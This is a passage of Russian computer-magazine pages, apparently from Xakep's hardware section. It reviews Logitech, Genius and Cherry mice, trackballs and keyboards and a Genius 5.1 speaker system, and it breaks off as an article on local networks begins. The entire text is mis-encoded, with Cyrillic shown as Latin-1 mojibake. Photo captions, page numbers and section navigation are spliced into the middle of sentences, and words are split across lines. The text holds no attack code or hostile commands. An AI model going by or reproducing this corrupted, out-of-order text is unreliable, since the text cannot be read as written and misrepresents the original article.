ïîä ïðàâóþ ðóêó, ïîòîìó äëÿ ëåâøåé<br />
íå ïîêàòèò. Ïîä áîëüøèì ïàëüöåì<br />
äâå äîïîëíèòåëüíûå êíîïêè, èõ, êîíå÷íî,<br />
ìîæíî ïåðåïðîãðàììèðîâàòü, íî<br />
âîîáùå-òî îíè íóæíû äëÿ èíòåòðíåòíàâèãàöèè:<br />
«Back» è «Forward». Åñëè<br />
ïðèâûêíóòü, òî ýòî ýêîíîìèò êó÷ó âðåìåíè<br />
ïðè ñåðôèíãå.<br />
Ñòîèò îòäåëüíî ðàññêàçàòü ïðî òåõíîëîãèþ<br />
Cruise Control Scrolling System -<br />
ýòî äâå ìàëåíüêèå êíîïî÷êè ðÿäîì ñ<br />
êîëåñèêîì. Êîãäà òû ïðîñìàòðèâàåøü<br />
è ÷èòàåøü òåêñò, òî îáû÷íî ïîëüçóåøüñÿ<br />
êëàâèøàìè «Page UP»/»Page<br />
DOWN» äëÿ áûñòðîé ïðîêðóòêè, ÷òîáû<br />
èñêàòü, è êëàâèøàìè óïðàâëåíèÿ êóðñîðà<br />
- äëÿ ìåäëåííîé, ÷òîáû ÷èòàòü.<br />
Òàê âîò íà ýòîé ìûøêå ìîæíî íàñòðîèòü<br />
ñêðîë íà áûñòðóþ ïðîêðóòêó, à<br />
êíîïêè íà ìåäëåííóþ èëè íàîáîðîò,<br />
êàê óäîáíåå. Ïîëåçíà òàêæå êíîïêà ïåðåêëþ÷åíèÿ<br />
ìåæäó ïðèëîæåíèÿìè.<br />
Îíà ëó÷øå ïîäõîäèò äëÿ áûñòðîãî<br />
ñâåðòûâàíèÿ ñòðàíèö, òàê êàê íàõîäèòñÿ<br />
ïðÿìî ïîä ëàäîøêîé. Êîãäà ñìîòðèøü<br />
ïîðíóõó, à â êîìíàòó êòî-òî âõîäèò...<br />
íåçàìåíèìàÿ âåùü. Êîíå÷íî, ýòó<br />
êíîïêó îöåíÿò ëþáèòåëè ðàáîòàòü ñ<br />
áîëüøèì êîëè÷åñòâîì îêîí, íåêîòîðûå<br />
âåøàþò íà íåå çàêðûòèå îêíà.<br />
14 Íüþñû 1 Ôåððóì 2<br />
LOGITECH MX700 ñíàáæåíà äâóìÿ ïàëü-<br />
÷èêîâûìè àêêóìóëÿòîðàìè è óìååò çàðÿæàòüñÿ<br />
íà áàçå îò àäàïòåðà.<br />
LOGITECH MX300<br />
Ïðîñòàÿ îïòè÷åñêàÿ ìûøü. Îòëè÷èòåëüíàÿ<br />
îñîáåííîñòü - êíîïêà ñâîðà÷èâàíèÿ<br />
îêîí íà ñïèíå, òî÷íåå, êíîïêà ïðåäíàçíà÷åíà<br />
äëÿ ïåðåêëþ÷åíèÿ ìåæäó ïðèëîæåíèÿìè,<br />
íî ñâîðà÷èâàíèå ïðèÿòíåå.<br />
Ñðåäíåé òÿæåñòè, îòðûâàåòñÿ îò<br />
ñóáñòðàòà äâóìÿ ïàëüöàìè.<br />
LOGITECH MOUSEMAN<br />
DUAL OPTICAL<br />
Ìûøü èìååò ýêñòðàîðäèíàðíîå îïòè-<br />
÷åñêîå ðàçðåøåíèå: àæ 1600 òî÷åê íà<br />
äþéì. Äâà îïòè÷åñêèõ äàò÷èêà ïî<br />
800dpi êàæäûé, ðàñïîëîæåíû ïîä óã-<br />
LOGITECH MX300 LOGITECH Cordless Optical TrackMan<br />
LOGITECH MouseMan Dual Optical LOGITECH Cordless Desktop Optical<br />
ëîì 45 ãðàäóñîâ äðóã ê äðóãó. À ïîðóññêè,<br />
ó æèâîòíîãî íà ïóçå äâà îãîíüêà,<br />
ïîòîìó è íàçûâàåòñÿ Dual Optical.<br />
Êîãäà-òî ýòà ìûøü ïðåâîñõîäèëà ñâîèõ<br />
ñîâðåìåííèö ïî òî÷íîñòè ïîçèöèîíèðîâàíèÿ<br />
è ïëàâíîñòè õîäà. Òî åñòü ó<br />
íàñ â ðóêàõ ïðîâåðåííûé âðåìåíåì<br />
àïïàðàò. Îäíàêî íîâûå 800dpi-ìûøè<br />
LOGITECH MX300 è LOGITECH MX700<br />
íèñêîëüêî íå óñòóïàþò äâóõãëàçîé. Îòñþäà<br />
âûâîä, ÷òî ïîâåäåíèå êóðñîðà<br />
çàâèñèò íå òîëüêî îò ðàçðåøåíèÿ îïòè÷åñêîé<br />
ñèñòåìû.<br />
LOGITECH CORDLESS<br />
OPTICAL TRACKMAN<br />
Áåñïðîâîäíîé îïòè÷åñêèé òðåêáîë.<br />
Èìååò ýðãîíîìè÷íûé äèçàéí<br />
è áîëüøîé øàðèê. Òû áóäåøü ñìå-<br />
Inside 3 PC_Zone 4 Âçëîì
Ferrum<br />
ÌÛØÈÍÛÅ ÊÎÐÎËÈ<br />
test_lab (test_lab@gameland.ru)<br />
ÿòüñÿ, íî âïîëíå ðåàëüíî èñïîëüçîâàòü<br />
åãî îáåèìè ðóêàìè, õîòÿ, âîçìîæíî,<br />
íå âñåì ýòî óäàñòñÿ. Ó òðåêáîëà åñòü äîïîëíèòåëüíûå<br />
êíîïêè «Back»/»Forward»<br />
äëÿ ðàáîòû â èíåòå. Ïîääåðæèâàåòñÿ<br />
òåõíîëîãèÿ Cruise Control Scrolling<br />
System. Ìûøêîé ïî ïîäóøêå íå ïîâîçèøü,<br />
à âîò òðåêáîë âîçèòü íå íàäî. Ïîòîìó<br />
ðåêîìåíäóåì åãî êàê ïóëüò äèñòàíöèîííîãî<br />
óïðàâëåíèÿ äëÿ êîìïüþòåðà.<br />
Êñòàòè òðåêáîëû èç-çà òî÷íîñòè ïîçèöèîíèðîâàíèÿ<br />
êóðñîðà ïðåäïî÷èòàþò íåêîòîðûå<br />
äèçàéíåðû.<br />
LOGITECH CORDLESS<br />
DESKTOP OPTICAL<br />
Ðàäèîíàáîð èç ìûøêè è êëàâèàòóðû.<br />
Ìûøü - LOGITECH Cordless MouseMan<br />
Optical. È â êëàâèàòóðå, è â ìûøêå ïî 2<br />
áàòàðåè ÀÀ, ìûøü êàæåòñÿ òÿæåëîé, à<br />
êëàâèàòóðà ëåãêîé è êîìïàêòíîé. Êîãäà<br />
áåðåøü êëàâó â ðóêè, äàæå íå âåðèòñÿ,<br />
÷òî ýòîò ìíîãîêíîïî÷íûé ìîíñòð ìîæåò<br />
áûòü òàêèì òîíêèì è ëåãêèì. Èç ìèíóñîâ:<br />
õëèïêîå êðåïëåíèå ïîäñòàâêè ïîä ðóêè.<br />
Èç ïëþñîâ: íà êëàâå èìååòñÿ äîïîëíèòåëüíûé<br />
ñêðîë, ïóëüò óïðàâëåíèÿ ìóçûêîé<br />
è åùå íåñêîëüêî êíîïîê, ïîääàþùèõñÿ<br />
ïðîãðàììèðîâàíèþ. Î÷åâèäíî, ÷òî äî<br />
êíîïêè íà êëàâèàòóðå äîáèðàåøüñÿ áûñòðåå,<br />
÷åì äî êíîïêè íà ýêðàíå ìîíèòîðà.<br />
LOGITECH CORDLESS<br />
DESKTOP COMFORT<br />
Ëþáèòåëÿì òÿæåëûõ ýðãîíîìè÷íûõ<br />
êëàâ ïîñâÿùàåòñÿ. Ó ýòîãî áåñïðîâîäíîãî<br />
êîìïëåêòà òàêæå åñòü êíîïêè äëÿ<br />
êîíòðîëÿ âåáà è äëÿ óïðàâëåíèÿ ïðîèãðûâàíèåì<br />
àóäèî/âèäåî, ïðàâäà îíè áîëåå<br />
îäíîîáðàçíû, îòñóòñòâóåò ñêðîë.<br />
Îáùåå âïå÷àòëåíèå ïîñëå LOGITECH<br />
Cordless Desktop Optical ìåíåå ÿðêîå.<br />
Ìûøêà - òà æå LOGITECH Cordless<br />
MouseMan Optical.<br />
Òàêàÿ æå õëèïêàÿ ïîäñòàâêà äëÿ ðóê. Òå<br />
æå ÷åòûðå áàòàðåéêè ÀÀ - äâå â êëàâå è<br />
äâå â ìûøêå.<br />
LOGITECH CORDLESS<br />
DESKTOP DELUXE<br />
Ðàäèîíàáîð íà÷àëüíîãî óðîâíÿ. Êëàâèàòóðà<br />
êëàññè÷åñêàÿ, ëåãêàÿ, äîïîëíèòåëüíûõ<br />
êíîïîê ìèíèìàëüíîå êîëè÷åñòâî. Ìåõàíè÷åñêàÿ<br />
ìûøü ÿâíî ÿâëÿåòñÿ<br />
ðîäñòâåííèêîì LOGITECH Cordless Mouse<br />
Color Select. Äâå ïàëü÷èêîâûõ áàòàðåè<br />
æðåò êëàâà, à äâå ìèçèí÷èêîâûõ - ìûøü.<br />
Êñòàòè òóøêà æèâîòíîãî î÷åíü ëåãêàÿ.<br />
LOGITECH INTERNET<br />
NAVIGATOR NEW<br />
Îáû÷íàÿ ïðîâîäíàÿ êëàâà, ïðàêòè÷åñêè<br />
ïîä êîïèðêó ñäåëàíà ñ LOGITECH<br />
Cordless Desktop Optical. Òàêæå èìååò<br />
ïóëüò äëÿ êîíòðîëÿ àóäèî/âèäåî, ñêðîë,<br />
ñïåöèàëüíûå êíîïêè äëÿ èíòåðíåò-ñåðôèíãà.<br />
Ïðåäñòàâü, ÷òî êíîïêè òâîåãî<br />
áðàóçåðà íàõîäÿòñÿ íà êëàâèàòóðå. Êëàâà<br />
ëåãêàÿ è ýðãîíîìè÷íàÿ, âîò òîëüêî<br />
óæå òðàäèöèîííàÿ ïîäñòàâêà ïîä ðóêè<br />
âèñèò íà ÷åì-òî õëèïêîì.<br />
GENIUS WEBSCROLL+<br />
Ìåõàíè÷åñêàÿ ìûøêà ñ øèðîêèìè âîçìîæíîñòÿìè.<br />
 ìûøêå åñòü ìàëåíüêèé<br />
äèíàìèê è ïîäñâåòêà êîëåñèêà äëÿ îïîâåùåíèÿ<br />
î ïîëó÷åíèè ïî÷òû. Ýòî ïîëåçíî<br />
ëþäÿì, èçìó÷åííûì çâóêîâûìè ñõåìàìè<br />
Windows.<br />
GENIUS WEBSCROLL+<br />
NBEYE<br />
Äëÿ ëþáèòåëåé ñóïåðëåãêèõ è ñóïåðêîìïàêòíûõ<br />
ìûøåé. Íà ôîòêå GENIUS<br />
WebScroll+ NBEye íå îòëè÷èøü îò<br />
GENIUS WebScroll+. Îäíàêî ðàçíèöà<br />
î÷åâèäíà: GENIUS WebScroll+ NBEye<br />
èìååò îïòè÷åñêèé äàò÷èê, à ðàçìåðîì<br />
îíà âïîëîâèíó ìåíüøå. Ïîíÿòíî, ÷òî<br />
äëÿ îãðîìíîé âîëîñàòîé ëàïû ýêñïåðòà<br />
òåñòîâîé ëàáîðàòîðèè òàêàÿ ìûøü íå<br />
î÷åíü óäîáíà - ïîòåðÿåòñÿ ìåæäó ïàëüöàìè.<br />
Õîòÿ, ñ äðóãîé ñòîðîíû, ñ íîóòáóêîì<br />
òàñêàòü òàêóþ - â ñàìûé ðàç. À ìîæåò<br />
áûòü ìûøêà ñîçäàíà äëÿ òîãî, ÷òîáû<br />
åå äåðæàëè íåæíûå äåâè÷üè ðóêè?<br />
Êàê è åå ïðåäîê, GENIUS WebScroll+,<br />
NBEye èìååò ìåõàíèçì äëÿ îïîâåùåíèÿ<br />
î ïðèõîäå ïî÷òû.<br />
GENIUS EASYTRACK<br />
OPTICAL<br />
Îïòè÷åñêèé òðåêáîë. Òû ñïðîñèøü:<br />
«Êàêîé ñìûñë â òðåêáîëàõ?». Ýòî ñïîñîáåí<br />
ïîíÿòü òîëüêî ÷åëîâåê, ó êîòîðîãî<br />
ïî ðîäó äåÿòåëüíîñòè ñòîë õðî-<br />
LOGITECH Cordless Desktop Comfort LOGITECH Internet Navigator NEW<br />
LOGITECH Cordless Desktop Deluxe GENIUS WebScroll+<br />
íè÷åñêè çàâàëåí æåëåçîì, íàïðèìåð.<br />
Òàê âîò â òàêèõ óñëîâèÿõ äâèãàòü<br />
ìûøêîé ïðîñòî íåâîçìîæíî, ïîòîìó<br />
÷òî ìåñòà äëÿ íåå íåò. À òðåêáîë êðóòèòü<br />
ðåàëüíî, îí âåäü íà ìåñòå ñòîèò.<br />
Åñòü äâà òèïà òðåêáîëà - ïîä áîëüøîé<br />
ïàëåö è ïîäî âñþ ðóêó. GENIUS<br />
EasyTrack Optical ðàññ÷èòàí íà áîëüøîé<br />
ïàëåö, îñòàëüíîå - êàê ó ìûøêè.<br />
Íåêîòîðûå ñêàæóò, ÷òî òðåêáîë íåóäîáåí,<br />
íî ýòî äåëî ïðèâû÷êè. Âñïîìíèòå,<br />
êàê ìó÷èòåëüíî ó÷èëèñü óïðàâëÿòüñÿ<br />
ñ ìûøêîé è êëàâèàòóðîé. Òàêæå<br />
óäîáíî òðåêáîë ïîëîæèòü íà êîëåíî<br />
èëè íà ïóçî, ÷òî ñ ìûøîé íåâîçìîæíî.<br />
Äëÿ ëþäåé, ðàáîòàþùèõ ñ<br />
ãðàôèêîé, âàæíî òî, ÷òî òðåêáîë âñåãäà<br />
îñòàåòñÿ íà òîì ìåñòå, ãäå åãî îñòàâèëè.<br />
Ê ìûøêå ñòîèò ïðèêîñíóòüñÿ,<br />
êàê êóðñîð ñäâèíåòñÿ.<br />
Îäíàêî íèêîãäà íå ïîêóïàé ìåõàíè÷åñêèå<br />
òðåêáîëû, ïîòîìó ÷òî îíè çàñîðÿþòñÿ<br />
ãðÿçüþ ñ ðóê â ñòî ðàç áûñòðåå<br />
ìûøåé. Ïðèäåòñÿ ÷èñòèòü ÷àùå, ÷åì<br />
ðàç â äåíü. È íå ïîêóïàé òðåêáîë áåç<br />
ñêðîëà, ïîñêîëüêó çàìó÷àåøüñÿ êðóòèòü<br />
øàðèê äî ñêðîëáàðà è îáðàòíî.<br />
CHERRY POWER<br />
WHEELMOUSE M-5000<br />
Ëåãêàÿ êîìïàêòíàÿ ÷åðíàÿ ìûøêà. Ñ îïòè÷åñêèì<br />
ñåíñîðîì è ñâåòÿùèìñÿ ãëàçîì.<br />
Ñêðîë, âèäèìî, ñâåòèòñÿ ïðîñòî<br />
äëÿ êðàñîòû. Ëåãêî ïîäíèìàåòñÿ äâóìÿ<br />
ïàëüöàìè. Êíîïêè íàæèìàþòñÿ ìÿãêî.<br />
16 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
GENIUS WebScroll+ NBEye GENIUS EasyTrack Optical<br />
ÂÛÂÎÄ<br />
Îïòè÷åñêèå ìûøè ñòàëè íàñòîëüêî<br />
õîðîøè è äåøåâû, ÷òî ñêîðî<br />
îêîí÷àòåëüíî âûæèâóò ìåõàíè-<br />
÷åñêèõ ñ ðûíêà. Ìåõàíèêàì îñòàíåòñÿ<br />
âåñòè ïàðòèçàíñêóþ âîéíó<br />
íà ñòîëàõ ëåíòÿåâ è ñêðÿã, íå ñïåøàùèõ<br />
ïîêóïàòü íîâóþ ìûøü, ïîêà<br />
æèâà ñòàðàÿ.<br />
PS/2 òîæå âñå ïûòàþòñÿ âûæèòü,<br />
íî îí åùå ïîâîþåò! Âñå USB-ìàíèïóëÿòîðû<br />
èç íàøåãî îáçîðà â<br />
Âîò òàêàÿ ïðîñòåíüêàÿ ìûøà.<br />
CHERRY POWER<br />
WHEELMOUSE M-6000<br />
Îïòè÷åñêàÿ ðàäèîìûøü. Çàðÿäêà àêêóìóëÿòîðîâ<br />
íå ïðåäóñìîòðåíà, èñïîëüçóåò<br />
îáû÷íûå áàòàðåè. Äîâîëüíî òÿæåëàÿ,<br />
äâóìÿ ïàëüöàìè íå âîçüìåøü. Äîïîëíèòåëüíàÿ<br />
êíîïêà ó ñàìîé çåìëè,<br />
ïîýòîìó ïàëåö áóäåò åçäèòü ïî ñóáñòðàòó.<br />
Çàòî ó ýòîé ìûøè ïî ïàñïîðòíûì<br />
äàííûì ðåêîðäíîå ðàññòîÿíèå äî ïðè-<br />
îáÿçàòåëüíîì ïîðÿäêå èìåëè ïåðåõîäíèê<br />
íà PS/2. À âîò ïåðåõîäíèêîâ<br />
ñ PS/2 íà USB ìû íå âèäåëè.<br />
Êîíå÷íî æå, êòî-òî ïûòàåòñÿ ïðîäâèãàòü<br />
ìàìêè áåç USB-ïîðòîâ, íî<br />
ïîêóïàòåëè âåäü òîæå íå äóðàêè!<br />
Åñëè òû íå ñîáèðàåøüñÿ ãóëÿòü ïî<br />
êîìíàòå, ìîæíî ñìåëî áðàòü ðàäèîìûøü<br />
è ðàäèîêëàâó. Ìíîãèå ðàäèîìûøè<br />
ñíàáæåíû àêêóìóëÿòîðàìè<br />
è çàðÿäíûìè óñòðîéñòâàìè, êîí÷å-<br />
åìíèêà.<br />
CHERRY G83-6000 STANDARD<br />
Êëàññè÷åñêàÿ êëàâèàòóðà îò CHERRY,<br />
êíîïêè íàæèìàþòñÿ ìÿãêî è íåãðîìêî,<br />
âåñ íåáîëüøîé, íèêàêèõ äîïîëíèòåëüíûõ<br />
êíîïîê íåò.<br />
CHERRY G84-4100 COMPACT<br />
Âíåøíÿÿ êîìïàêòíàÿ êëàâèàòóðà äëÿ íîóòáóêîâ.<br />
 äîêóìåíòàöèè íàïèñàíî î ïîçîëî÷åííûõ<br />
êîíòàêòàõ, êîòîðûå óâåëè-<br />
íî, òàêèå ïðåäïî÷òèòåëüíåå ñâîèõ<br />
ñîáðàòüåâ íà îáû÷íûõ áàòàðåÿõ.<br />
Ïîêóïàÿ ìûøü, çàäàé ñåáå âîïðîñ:<br />
«À íóæíû ëè äîïîëíèòåëüíûå<br />
êíîïêè?». Åñëè òû íå áóäåøü èìè<br />
ïîëüçîâàòüñÿ, òî îíè áóäóò òîëüêî<br />
ìåøàòü. Åñëè òû ðåøèòåëüíî ãîòîâ<br />
ê óòîìèòåëüíîé íàñòðîéêå è<br />
ïðèâûêàíèþ ê íèì, òî îíè ñïîñîáíû<br />
â ÷åì-òî ñäåëàòü òâîå âçàèìîäåéñòâèå<br />
ñ êîìïüþòåðîì áîëåå<br />
ýôôåêòèâíûì.<br />
CHERRY Power WheelMouse M-5000 CHERRY Power WheelMouse M-6000<br />
CHERRY G83-6000 Standard CHERRY G84-4100 Compact<br />
÷èâàþò ñðîê ñëóæáû â íåñêîëüêî ðàç.<br />
Êëàâèàòóðà òèõàÿ è ëåãêàÿ, ïðàâäà, íåñòàíäàðòíîãî<br />
ðàçìåðà – íå áîëüøå íîóòáó÷íîé,<br />
ìîæåò áûòü, ïðèäåòñÿ íåêîòîðîå<br />
âðåìÿ ïðèâûêàòü.<br />
È ïîñëåäíåå - ïîêóïàÿ íåñòàíäàðòíóþ<br />
(íàâîðî÷åííóþ, ñ äîïîëíèòåëüíûìè<br />
êíîïêàìè è ñêðîëàìè) ìûøü,<br />
êëàâó èëè ïðîñòî òðåêáîë, òû ðèñêóåøü<br />
ïðèâûêíóòü ê áîíóñíûì óäîáñòâàì,<br />
ïðè ýòîì ðàáîòà ãäå-íèáóäü â<br />
äðóãîì ìåñòå (â êëóáå, â ãîñòÿõ è<br />
ò.ä.), ãäå ìûøü/êëàâà îáû÷íûå, áóäåò<br />
ïðè÷èíÿòü òåáå íåñëàáûé äèñêîìôîðò.<br />
Òàê ÷òî õîðîøåå óñòðîéñòâî<br />
ââîäà - ýòî, â íåìàëîé ñòåïåíè,<br />
ñòàíäàðòíîå óñòðîéñòâî ââîäà!<br />
5 Êîäèíã 6 Hack-Faq 7 JoyStick 8 Þíèòû 9 Quit> 17
Ferrum<br />
ÀÊÓÑÒÈÊÀ GENIUS SW-5.1 HOME THEATER<br />
Èñïîëíèòåëü æåëàíèé (p0r0h@real.xakep.ru)<br />
 íàøåé ñòðàíå äîðîãè è äóðàêè -<br />
äàëåêî íå åäèíñòâåííàÿ ïðîáëåìà,<br />
íå òàê äàâíî ê íèì äîáàâèëàñü<br />
åùå è ïðîáëåìà êîìïüþòåðíîé<br />
àêóñòèêè. Î÷åíü ÷àñòî, ïðèõîäÿ<br />
ê î÷åðåäíîìó þçåðó ïî÷èíÿòü<br />
êîìï, âèäèøü òàêóþ êàðòèíó:<br />
íà êîìïå ñòîèò êàêîé-íèáóäü íàâîðî÷åííûé<br />
Audigy 2, ïðè ýòîì<br />
ðÿäîì ñ ìîíèòîðîì êðàñóþòñÿ<br />
õðåíîâåíüêèå noname'îâñêèå êîëîíêè<br />
çà 10 áàêñîâ. Ñêëàäûâàåòñÿ<br />
òàêîå âïå÷àòëåíèå, ÷òî ëþäè<br />
ïîêóïàþò êðóòûå øåñòèêàíàëüíûå<br />
çâóêîâóõè è äóìàþò, ÷òî ýòîãî<br />
óæå äîñòàòî÷íî, ÷òîáû ïîëó-<br />
÷àòü óäîâîëüñòâèå îò êà÷åñòâåííîãî<br />
çâóêà. Íà ñàìîì äåëå, êàê òû<br />
óæå äîãàäàëñÿ, ýòî íå òàê. Åñëè<br />
òû ïîêóïàåøü õîðîøóþ çâóêîâóþ<br />
êàðòó è ïëîõèå êîëîíî÷êè - ñ÷èòàé,<br />
÷òî òû âûêèíóë äåíüãè, ïîòðà÷åííûå<br />
íà çâóêîâóøêó, â òðýø.<br />
 ýòîì íîìåðå ìû ðåøèëè ïîñîâåòîâàòü<br />
òåáå ïðîàïãðåéäèòü àêóñòèêó. Íàø<br />
âûáîð ïàë íà êîìïëåêò Genius SW-5.1<br />
Home Theater. Ñ ïåðâîãî âçãëÿäà ïîðàçèë<br />
ðàçìåð êîðîáêè - îíà íå ïðîñòî<br />
áîëüøàÿ, à î÷åíü áîëüøàÿ; âåñèò âåñü<br />
êîìïëåêò àæ 21 êã, ïðè÷åì áîëüøàÿ<br />
÷àñòü âåñà ïðèõîäèòñÿ íà ñàáâóôåð (çàòî<br />
òåïåðü îí íå áóäåò ïðûãàòü êàê ïðèïàäî÷íûé,<br />
êîãäà òåáå çàõî÷åòñÿ ïîìó-<br />
÷èòü ñîñåäåé Ðàìøòàéíîì).  êîìïëåêò<br />
âõîäÿò 6 êîëîíîê. Ýòî ñàáâóôåð, öåíòðàëüíàÿ,<br />
äâå ôðîíòàëüíûõ è äâå òûëîâûõ<br />
êîëîíêè. Ñðàçó îòâå÷àåì íà âîïðîñ:<br />
"À íà ôèãà ìíå øåñòü êîëîíîê?<br />
Äðóãèå è äâóìÿ îáõîäÿòñÿ...". Âñå<br />
î÷åíü ïðîñòî, òàêîå êîëè÷åñòâî êîëîíîê<br />
(è êàíàëîâ) íåîáõîäèìî äëÿ ïîëíîãî<br />
ýôôåêòà ïðèñóòñòâèÿ, òàê êàê ïî<br />
ñòàíäàðòó Dolby Digital 5.1 âñå êîëîíêè<br />
èãðàþò ñâîþ îïðåäåëåííóþ ðîëü â ñîçäàíèè<br />
ýôôåêòà îáúåìíîãî çâó÷àíèÿ.<br />
Öåíòðàëüíàÿ, ëåâàÿ è ïðàâàÿ ôðîíòàëüíûå<br />
êîëîíêè ïðåäíàçíà÷åíû äëÿ òî÷íîãî<br />
ïîçèöèîíèðîâàíèÿ çâóêà, à òûëîâûå<br />
ñîçäàþò ýôôåêò îáòåêàíèÿ.<br />
Áëîê ïèòàíèÿ è óñèëèòåëü íàõîäÿòñÿ â<br />
ñàáâóôåðå, òàì æå ïðèñóòñòâóþò âñå<br />
íåîáõîäèìûå îðãàíû óïðàâëåíèÿ. Â<br />
ïðèäà÷ó êî âñåìó ýòîìó â êîðîáêå áûë<br />
UPGRADE<br />
ÏÎÃÐÓÆÅÍÈÅ<br />
Àêóñòèêà Genius SW-5.1 Home Theater<br />
íàéäåí ìàëåíüêèé ïóëüò ÄÓ, íàáîð øíóðîâ<br />
è ñêðîìíàÿ äîêóìåíòàöèÿ ñ<br />
èíñòðóêöèåé íà òåìó, êóäà ÷åãî âòûêàòü.<br />
Îòêðîâåííî ïîðàäîâàë äèçàéí êîëîíîê.<br />
Âñå îíè èìåþò äåðåâÿííûå êîðïóñà, ñî<br />
âñåõ ñíèìàþòñÿ íàêëàäêè (÷òî î÷åíü çäîðîâî,<br />
òàê êàê èíîãäà âîçíèêàåò ïîòðåáíîñòü<br />
èõ ïî÷èñòèòü). Åùå ñòîèò îòìåòèòü,<br />
÷òî â ýòîé ìîäåëè èñïîëüçóåòñÿ<br />
áåçðàçúåìíûé ñïîñîá ñîåäèíåíèÿ êîëîíîê<br />
ñ óñèëèòåëåì. Åñëè õî÷åòñÿ ïîñòàâèòü<br />
òûëîâûå ñàòåëëèòû â äðóãîé êîíåö<br />
êîìíàòû, òî íèêàêîé âîçíè ñ ïîäïàéêîé<br />
ðàçúåìîâ íå áóäåò - îãîëåííûå ïðîâîäà<br />
âñòàâëÿþòñÿ è ïðîñòî çàæèìàþòñÿ ñïåöèàëüíûìè<br />
ôèêñàòîðàìè. Ïðèêîëüíî<br />
ñäåëàíà ðó÷êà ðåãóëÿòîðà îáùåé ãðîìêîñòè:<br />
êîãäà óâåëè÷èâàåøü èëè óìåíüøàåøü<br />
çâóê ñ ïóëüòà, îíà ìåäëåííî è<br />
êàéôîâî êðóòèòñÿ :). Ðÿäîì ñ íåé èìåþò<br />
ìåñòî åùå òðè ðåãóëÿòîðà âñå òîé æå<br />
ãðîìêîñòè, íî óæå îòäåëüíî äëÿ öåíòðàëüíîé<br />
êîëîíêè, ñàáâóôåðà è ñàòåëëèòîâ,<br />
÷òî î÷åíü óäîáíî, òàê êàê ìîæíî<br />
áûñòðî è áåç ãèìîðà íàñòðàèâàòü áàëàíñ.<br />
×óòü íèæå ðàñïîëîæåíû 4 êíîïêè,<br />
êîììóòèðóþùèå âõîäû íà ñàìèõ êîëîíêàõ.<br />
Íà çàäíåé ïàíåëè ñàáâóôåðà èìååòñÿ<br />
äâà âõîäà ñòàíäàðòà 5.1 (îäèí 9-ïèíîâûé<br />
din jack è îäèí òþëüïàíîâûé) è òðè<br />
ñòåðåîâõîäà äëÿ òåõíèêè. Êðîìå ýòîãî<br />
òàì åñòü îñíîâíîé âûêëþ÷àòåëü ïèòàíèÿ<br />
(íà ïåðåäíåé ïàíåëè îí òîæå åñòü, íî ïåðåâîäÿùèé<br />
êîëîíêè â æäóùèé ðåæèì) è<br />
ïðåäîõðàíèòåëü íà ñëó÷àé, åñëè â òâîåì<br />
ýëåêòðîùèòêå ðåøèò ïîêîâûðÿòüñÿ ïüÿíûé<br />
ýëåêòðèê. Åäèíñòâåííûé íåäîñòàòîê<br />
ýòîãî êîìïëåêòà àêóñòèêè - îòñóòñòâèå<br />
öèôðîâîãî âõîäà :(.<br />
Íàáîð ïðîâîäîâ ê êîëîíêàì èäåò î÷åíü<br />
íåïëîõîé, åñòü âñå ÷òî íàäî è äàæå áîëüøå.<br />
 êîìïëåêòå ïîñòàâëÿåòñÿ 6 ïðîâîäîâ<br />
ñ ðàçúåìàìè òèïà "òþëüïàí", îäèí ïðîâîä<br />
äëÿ ïîäêëþ÷åíèÿ êîëîíîê ê çâóêîâîé<br />
êàðòå ÷åðåç àíàëîãîâûé âûõîä è íåáîëüøîé<br />
óäëèíèòåëü òèïà jack íà ñëó÷àé, åñëè<br />
îäèí èç ðàçúåìîâ íà òâîåì êîìïå îêàæåòñÿ<br />
äàëåêî îò äâóõ äðóãèõ.<br />
Ðàññìàòðèâàåì ïóëüò óïðàâëåíèÿ. Îí<br />
ìàëåíüêèé, ëåãêèé, â ðóêå äåðæàòü<br />
óäîáíî. Íà íåì âñåãî ÷åòûðå êíîïêè:<br />
ïèòàíèå, îòêëþ÷åíèå çâóêà (mute) è<br />
ãðîìêîñòü (âçàä - âïåðåä). Òî÷íóþ äàëüíîñòü<br />
ðàáîòû îïðåäåëèòü íå óäàëîñü,<br />
íî ñ 7 ìåòðîâ ðàáîòàåò ñòàáèëüíî.<br />
Òåïåðü ñàìîå ãëàâíîå - çâó÷àíèå. Çâóê<br />
êîìïëåêò âûäàåò îôèãåííûé. Áàñû<br />
î÷åíü ÷èñòûå è ìîùíûå. Åñëè æàðêèì<br />
ëåòíèì äíåì ïîñòàâèòü ñàáâóôåð îêîëî<br />
ñåáÿ è âðóáèòü ïîãðîì÷å, òî âåíòèëÿòîð<br />
òåáå áóäåò íå íóæåí, òàê êàê ìîùíîñòü<br />
ñàáâóôåðà òâîåé àêóñòèêè - 45 Âò (îòíþäü<br />
íå PMPO), è îò íåãî èäåò íåõèëûé<br />
âåòåðîê. Öåíòðàëüíàÿ êîëîíêà (15 Âò)<br />
ñîñòîèò èç 3 äèíàìèêîâ: 1 âûñîêî÷àñòîòíûé<br />
(äàëåå Â×), à 2 äðóãèõ - øèðîêîïîëîñíûå.<br />
Âî ôðîíòàëüíûõ ñàòåëëèòàõ<br />
(15 Âò) îäíà Â× è îäíà øèðîêîïîëîñíàÿ,<br />
â òûëîâûõ (15 Âò) ïî îäíîé Â×.<br />
Îöåíèâàÿ àêóñòèêó, ìû ïðîñìàòðèâàëè<br />
ôèëüì ñ DVD-äèñêà, èãðàëè âî âòîðîãî<br />
õèòìàíà è ñëóøàëè ìóçûêó. Çâóê âî âñåõ<br />
òðåõ ñëó÷àÿõ áûë íà ïÿòü áàëëîâ. Îñîáî<br />
ïîðàäîâàë õèòìàí - ðåàëèçì ïðîñòî æóòêèé.<br />
Êîëîíêè ïðîèçâåëè ñàìîå ïðèÿòíîå<br />
âïå÷àòëåíèå íå òîëüêî êà÷åñòâîì,<br />
íî è öåíîé, òàê êàê ñòîÿò<br />
îíè îêîëî 150 âå÷íîçåëåíûõ.<br />
www.genius.ru Ðåäàêöèÿ âûðàæàåò áëàãîäàðíîñòü êîìïàíèè «Áþðîêðàò» çà ïðåäîñòàâëåííóþ äëÿ òåñòèðîâàíèÿ àïïàðàòóðó<br />
Ñóïåð<br />
âåùü!<br />
18 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
ÌÛ Â ÑÅÒßÕ! ÌÛ<br />
INSIDE<br />
Íèêèòà «Nikitos» Êèñëèöèí<br />
(nikitoz@real.xakep.ru), http://nikitos.inc.ru<br />
ËÎÊÀËÜÍÛÅ ÑÅÒÈ<br />
Ëîêàëüíûå ñåòè ðàçëè÷àþò ïî òîïîëîãèè<br />
